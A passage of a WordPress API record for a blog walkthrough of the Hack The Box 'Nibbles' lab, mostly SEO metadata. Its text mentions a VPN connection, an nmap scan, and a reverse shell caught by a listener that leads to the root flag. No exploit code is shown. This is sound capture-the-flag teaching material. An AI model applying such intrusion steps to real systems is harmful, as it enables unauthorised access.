machine.<\/span><\/figcaption><\/figure>\n\n\n\n<p>And our listener picks up the successful request. Another <em>whoami<\/em> on this reverse shell and we confirm that we are not in the machine as the root user. A couple of <em>ls <\/em>later and <em>cd \/root ls<\/em> takes us to the final system solution flag file: <em>root.txt<\/em>.<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nibbles is rated as an easy machine on HTB. Enumeration First we grab the .ovpn file for the VPN and connect to the network from our machine: openvpn rofo.ovpn. An initial nmap of the IP is next. nmap -sV \u2013open -oA initial_scan 10.10.10.75 The result shows us we have 2 open ports of interest: 22\/tcp [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":449,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,9],"tags":[],"class_list":["post-104","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybersecurity","category-hack-the-box"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Nibbles Machine Walkthrough - Hack The Box - JLC<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Nibbles Machine Walkthrough - Hack The Box - JLC\" \/>\n<meta property=\"og:description\" content=\"Nibbles is rated as an easy machine on HTB. Enumeration First we grab the .ovpn file for the VPN and connect to the network from our machine: openvpn rofo.ovpn. An initial nmap of the IP is next. nmap -sV \u2013open -oA initial_scan 10.10.10.75 The result shows us we have 2 open ports of interest: 22\/tcp [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/\" \/>\n<meta property=\"og:site_name\" content=\"JLC\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/jason.curby\" \/>\n<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/jason.curby\" \/>\n<meta property=\"article:published_time\" content=\"2022-06-19T00:08:56+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-12-19T23:33:14+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-1-1.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"823\" \/>\n\t<meta property=\"og:image:height\" content=\"263\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"rofo\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@https:\/\/twitter.com\/JasonCurby\" \/>\n<meta name=\"twitter:site\" content=\"@JasonCurby\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"rofo\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"15 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/19\\\/nibbles-machine-walkthrough-hack-the-box\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/19\\\/nibbles-machine-walkthrough-hack-the-box\\\/\"},\"author\":{\"name\":\"rofo\",\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/#\\\/schema\\\/person\\\/187b41b22ffae39c83b69ddc480ea1f3\"},\"headline\":\"Nibbles Machine Walkthrough &#8211; Hack The Box\",\"datePublished\":\"2022-06-19T00:08:56+00:00\",\"dateModified\":\"2022-12-19T23:33:14+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/19\\\/nibbles-machine-walkthrough-hack-the-box\\\/\"},\"wordCount\":2370,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/#\\\/schema\\\/person\\\/187b41b22ffae39c83b69ddc480ea1f3\"},\"image\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/19\\\/nibbles-machine-walkthrough-hack-the-box\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/06\\\/nibbles-walkthrough-1-1.jpg\",\"articleSection\":[\"Cybersecurity\",\"Hack The Box\"],\"inLanguage\":\"en-AU\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/19\\\/nibbles-machine-walkthrough-hack-the-box\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/19\\\/nibbles-machine-walkthrough-hack-the-box\\\/\",\"url\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/19\\\/nibbles-machine-walkthrough-hack-the-box\\\/\",\"name\":\"Nibbles Machine Walkthrough - Hack The Box - JLC\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/19\\\/nibbles-machine-walkthrough-hack-the-box\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/19\\\/nibbles-machine-walkthrough-hack-the-box\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/06\\\/nibbles-walkthrough-1-1.jpg\",\"datePublished\":\"2022-06-19T00:08:56+00:00\",\"dateModified\":\"2022-12-19T23:33:14+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/19\\\/nibbles-machine-walkthrough-hack-the-box\\\/#breadcrumb\"},\"inLanguage\":\"en-AU\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/19\\\/nibbles-machine-walkthrough-hack-the-box\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-AU\",\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/19\\\/nibbles-machine-walkthrough-hack-the-box\\\/#primaryimage\",\"url\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/06\\\/nibbles-walkthrough-1-1.jpg\",\"contentUrl\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/06\\\/nibbles-walkthrough-1-1.jpg\",\"width\":823,\"height\":263},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/19\\\/nibbles-machine-walkthrough-hack-the-box\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Nibbles Machine Walkthrough &#8211; Hack The Box\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/\",\"name\":\"JLC\",\"description\":\"Rofo\",\"publisher\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/#\\\/schema\\\/person\\\/187b41b22ffae39c83b69ddc480ea1f3\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-AU\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/#\\\/schema\\\/person\\\/187b41b22ffae39c83b69ddc480ea1f3\",\"name\":\"rofo\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-AU\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/d2dd9850d47eebbd37c03d0e52e99b93092ad17dac4f99a7154b214dfe78d894?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/d2dd9850d47eebbd37c03d0e52e99b93092ad17dac4f99a7154b214dfe78d894?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/d2dd9850d47eebbd37c03d0e52e99b93092ad17dac4f99a7154b214dfe78d894?s=96&d=mm&r=g\",\"caption\":\"rofo\"},\"logo\":{\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/d2dd9850d47eebbd37c03d0e52e99b93092ad17dac4f99a7154b214dfe78d894?s=96&d=mm&r=g\"},\"sameAs\":[\"https:\\\/\\\/jasonlcurby.com\\\/blog\",\"https:\\\/\\\/www.facebook.com\\\/jason.curby\",\"https:\\\/\\\/www.instagram.com\\\/jasoncurby\\\/\",\"https:\\\/\\\/www.linkedin.com\\\/in\\\/jason-curby\\\/\",\"https:\\\/\\\/x.com\\\/https:\\\/\\\/twitter.com\\\/JasonCurby\"],\"url\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/author\\\/jlcurby\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Nibbles Machine Walkthrough - Hack The Box - JLC","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/","og_locale":"en_US","og_type":"article","og_title":"Nibbles Machine Walkthrough - Hack The Box - JLC","og_description":"Nibbles is rated as an easy machine on HTB. Enumeration First we grab the .ovpn file for the VPN and connect to the network from our machine: openvpn rofo.ovpn. An initial nmap of the IP is next. nmap -sV \u2013open -oA initial_scan 10.10.10.75 The result shows us we have 2 open ports of interest: 22\/tcp [&hellip;]","og_url":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/","og_site_name":"JLC","article_publisher":"https:\/\/www.facebook.com\/jason.curby","article_author":"https:\/\/www.facebook.com\/jason.curby","article_published_time":"2022-06-19T00:08:56+00:00","article_modified_time":"2022-12-19T23:33:14+00:00","og_image":[{"width":823,"height":263,"url":"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-1-1.jpg","type":"image\/jpeg"}],"author":"rofo","twitter_card":"summary_large_image","twitter_creator":"@https:\/\/twitter.com\/JasonCurby","twitter_site":"@JasonCurby","twitter_misc":{"Written by":"rofo","Est. reading time":"15 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/#article","isPartOf":{"@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/"},"author":{"name":"rofo","@id":"https:\/\/jasonlcurby.com\/blog\/#\/schema\/person\/187b41b22ffae39c83b69ddc480ea1f3"},"headline":"Nibbles Machine Walkthrough &#8211; Hack The Box","datePublished":"2022-06-19T00:08:56+00:00","dateModified":"2022-12-19T23:33:14+00:00","mainEntityOfPage":{"@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/"},"wordCount":2370,"commentCount":0,"publisher":{"@id":"https:\/\/jasonlcurby.com\/blog\/#\/schema\/person\/187b41b22ffae39c83b69ddc480ea1f3"},"image":{"@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/#primaryimage"},"thumbnailUrl":"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-1-1.jpg","articleSection":["Cybersecurity","Hack The Box"],"inLanguage":"en-AU","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/","url":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/","name":"Nibbles Machine Walkthrough - Hack The Box - JLC","isPartOf":{"@id":"https:\/\/jasonlcurby.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/#primaryimage"},"image":{"@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/#primaryimage"},"thumbnailUrl":"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-1-1.jpg","datePublished":"2022-06-19T00:08:56+00:00","dateModified":"2022-12-19T23:33:14+00:00","breadcrumb":{"@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/#breadcrumb"},"inLanguage":"en-AU","potentialAction":[{"@type":"ReadAction","target":["https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/"]}]},{"@type":"ImageObject","inLanguage":"en-AU","@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/#primaryimage","url":"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-1-1.jpg","contentUrl":"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-1-1.jpg","width":823,"height":263},{"@type":"BreadcrumbList","@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/jasonlcurby.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Nibbles Machine Walkthrough &#8211; Hack The Box"}]},{"@type":"WebSite","@id":"https:\/\/jasonlcurby.com\/blog\/#website","url":"https:\/\/jasonlcurby.com\/blog\/","name":"JLC","description":"Rofo","publisher":{"@id":"https:\/\/jasonlcurby.com\/blog\/#\/schema\/person\/187b41b22ffae39c83b69ddc480ea1f3"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/jasonlcurby.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-AU"},{"@type":["Person","Organization"],"@id":"https:\/\/jasonlcurby.com\/blog\/#\/schema\/person\/187b41b22ffae39c83b69ddc480ea1f3","name":"rofo","image":{"@type":"ImageObject","inLanguage":"en-AU","@id":"https:\/\/secure.gravatar.com\/avatar\/d2dd9850d47eebbd37c03d0e52e99b93092ad17dac4f99a7154b214dfe78d894?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/d2dd9850d47eebbd37c03d0e52e99b93092ad17dac4f99a7154b214dfe78d894?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/d2dd9850d47eebbd37c03d0e52e99b93092ad17dac4f99a7154b214dfe78d894?s=96&d=mm&r=g","caption":"rofo"},"logo":{"@id":"https:\/\/secure.gravatar.com\/avatar\/d2dd9850d47eebbd37c03d0e52e99b93092ad17dac4f99a7154b214dfe78d894?s=96&d=mm&r=g"},"sameAs":["https:\/\/jasonlcurby.com\/blog","https:\/\/www.facebook.com\/jason.curby","https:\/\/www.instagram.com\/jasoncurby\/","https:\/\/www.linkedin.com\/in\/jason-curby\/","https:\/\/x.com\/https:\/\/twitter.com\/JasonCurby"],"url":"https:\/\/jasonlcurby.com\/blog\/author\/jlcurby\/"}]}},"_links":{"self":[{"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/posts\/104","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/comments?post=104"}],"version-history":[{"count":60,"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/posts\/104\/revisions"}],"predecessor-version":[{"id":450,"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/posts\/104\/revisions\/450"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/media\/449"}],"wp:attachment":[{"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/media?parent=104"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/categories?post=104"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/tags?post=104"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}